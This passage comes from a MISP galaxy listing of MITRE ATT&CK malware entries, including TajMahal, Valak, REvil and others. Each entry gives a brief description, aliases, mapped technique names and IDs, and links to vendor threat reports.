- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"

Table 5668. Table References

Links
https://attack.mitre.org/software/S0674
https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/

TajMahal - S0467

[TajMahal](https://attack.mitre.org/software/S0467) is a multifunctional spying framework that has been in use since at least 2014. [TajMahal](https://attack.mitre.org/software/S0467) is comprised of two separate packages, named Tokyo and Yokohama, and can deploy up to 80 plugins.(Citation: Kaspersky TajMahal April 2019)

The tag is: *misp-galaxy:mitre-malware="TajMahal - S0467"*

TajMahal - S0467 is also known as:

- TajMahal

View relationships graph

TajMahal - S0467 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shared Modules - T1129" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steal Web Session Cookie - T1539" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Library - T1560.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 5669. Table References

Links
https://attack.mitre.org/software/S0467
https://securelist.com/project-tajmahal/90240/

Turian - S0647

[Turian](https://attack.mitre.org/software/S0647) is a backdoor that has been used by [BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) to target Ministries of Foreign Affairs, telecommunication companies, and charities in Africa, Europe, the Middle East, and Asia. First reported in 2021, [Turian](https://attack.mitre.org/software/S0647) is likely related to Quarian, an older backdoor that was last observed being used in 2013 against diplomatic targets in Syria and the United States.(Citation: ESET BackdoorDiplomacy Jun 2021)

The tag is: *misp-galaxy:mitre-malware="Turian - S0647"*

Turian - S0647 is also known as:

- Turian

View relationships graph

Turian - S0647 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Junk Data - T1001.001" with estimative-language:likelihood-probability="almost-certain"

Table 5670. Table References

Links
https://attack.mitre.org/software/S0647
https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/

Valak - S0476

[Valak](https://attack.mitre.org/software/S0476) is a multi-stage modular malware that can function as a standalone information stealer or downloader, first observed in 2019 targeting enterprises in the US and Germany.(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)

The tag is: *misp-galaxy:mitre-malware="Valak - S0476"*

Valak - S0476 is also known as:

- Valak

View relationships graph

Valak - S0476 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1552.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 5671. Table References

Links
https://attack.mitre.org/software/S0476
https://unit42.paloaltonetworks.com/valak-evolution/
https://www.cybereason.com/blog/valak-more-than-meets-the-eye

Bonadan - S0486

[Bonadan](https://attack.mitre.org/software/S0486) is a malicious version of OpenSSH which acts as a custom backdoor. [Bonadan](https://attack.mitre.org/software/S0486) has been active since at least 2018 and combines a new cryptocurrency-mining module with the same credential-stealing module used by the Onderon family of backdoors.(Citation: ESET ForSSHe December 2018)

The tag is: *misp-galaxy:mitre-malware="Bonadan - S0486"*

Bonadan - S0486 is also known as:

- Bonadan

View relationships graph

Bonadan - S0486 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compromise Client Software Binary - T1554" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5672. Table References

Links
https://attack.mitre.org/software/S0486
https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf

Skidmap - S0468

[Skidmap](https://attack.mitre.org/software/S0468) is a kernel-mode rootkit used for cryptocurrency mining.(Citation: Trend Micro Skidmap)

The tag is: *misp-galaxy:mitre-malware="Skidmap - S0468"*

Skidmap - S0468 is also known as:

- Skidmap

View relationships graph

Skidmap - S0468 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Pluggable Authentication Modules - T1556.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cron - T1053.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SSH Authorized Keys - T1098.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Kernel Modules and Extensions - T1547.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5673. Table References

Links
https://attack.mitre.org/software/S0468

https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/

ABK - S0469

[ABK](https://attack.mitre.org/software/S0469) is a downloader that has been used by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least 2019.(Citation: Trend Micro Tick November 2019)

The tag is: *misp-galaxy:mitre-malware="ABK - S0469"*

ABK - S0469 is also known as:

- ABK

View relationships graph

ABK - S0469 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5674. Table References

Links
https://attack.mitre.org/software/S0469
https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf

SMOKEDHAM - S0649

[SMOKEDHAM](https://attack.mitre.org/software/S0649) is a Powershell-based .NET backdoor that was first reported in May 2021; it has been used by at least one ransomware-as-a-service affiliate.(Citation: FireEye Shining A Light on DARKSIDE May 2021)(Citation: FireEye SMOKEDHAM

June 2021)

The tag is: *misp-galaxy:mitre-malware="SMOKEDHAM - S0649"*

SMOKEDHAM - S0649 is also known as:

- SMOKEDHAM

View relationships graph

SMOKEDHAM - S0649 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1598.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Users - T1564.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Fronting - T1090.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

Table 5675. Table References

Links
https://attack.mitre.org/software/S0649
https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html
https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html

DRATzarus - S0694

[DRATzarus](https://attack.mitre.org/software/S0694) is a remote access tool (RAT) that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) to target the defense and aerospace organizations globally since at least summer 2020. [DRATzarus](https://attack.mitre.org/software/S0694) shares similarities with [Bankshot](https://attack.mitre.org/software/S0239), which was used by [Lazarus Group](https://attack.mitre.org/groups/G0032) in 2017 to target the Turkish financial sector.(Citation: ClearSky Lazarus Aug 2020)

The tag is: *misp-galaxy:mitre-malware="DRATzarus - S0694"*

DRATzarus - S0694 is also known as:

- DRATzarus

View relationships graph

DRATzarus - S0694 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Debugger Evasion - T1622" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 5676. Table References

Links
https://attack.mitre.org/software/S0694
https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf

REvil - S0496

[REvil](https://attack.mitre.org/software/S0496) is a ransomware family that has been linked to the [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) group and operated as ransomware-as-a-service (RaaS) since at least April 2019. [REvil](https://attack.mitre.org/software/S0496), which as been used against organizations in the manufacturing, transportation, and electric sectors, is highly configurable and shares code similarities with the GandCrab RaaS.(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: Group IB Ransomware May 2020)

The tag is: *misp-galaxy:mitre-malware="REvil - S0496"*

REvil - S0496 is also known as:

- REvil
- Sodin
- Sodinokibi

[View relationships graph]

REvil - S0496 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Safe Mode Boot - T1562.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Create Process with Token - T1134.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Language Discovery - T1614.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 5677. Table References

Links
https://attack.mitre.org/software/S0496
https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html
https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/
https://securelist.com/sodin-ransomware/91473/
https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html
https://www.gdatasoftware.com/blog/2019/06/31724-strange-bits-sodinokibi-spam-cinarat-and-fake-g-data
https://www.group-ib.com/whitepapers/ransomware-uncovered.html

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-crescendo/
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/
https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware
https://www.secureworks.com/blog/revil-the-gandcrab-connection
https://www.secureworks.com/research/revil-sodinokibi-ransomware
https://www.tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis

Goopy - S0477

[Goopy](https://attack.mitre.org/software/S0477) is a Windows backdoor and Trojan used by [APT32](https://attack.mitre.org/groups/G0050) and shares several similarities to another backdoor used by the group ([Denis](https://attack.mitre.org/software/S0354)). [Goopy](https://attack.mitre.org/software/S0477) is named for its impersonation of the legitimate Google Updater executable.(Citation: Cybereason Cobalt Kitty 2017)

The tag is: *misp-galaxy:mitre-malware="Goopy - S0477"*

Goopy - S0477 is also known as:

- Goopy

View relationships graph

Goopy - S0477 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
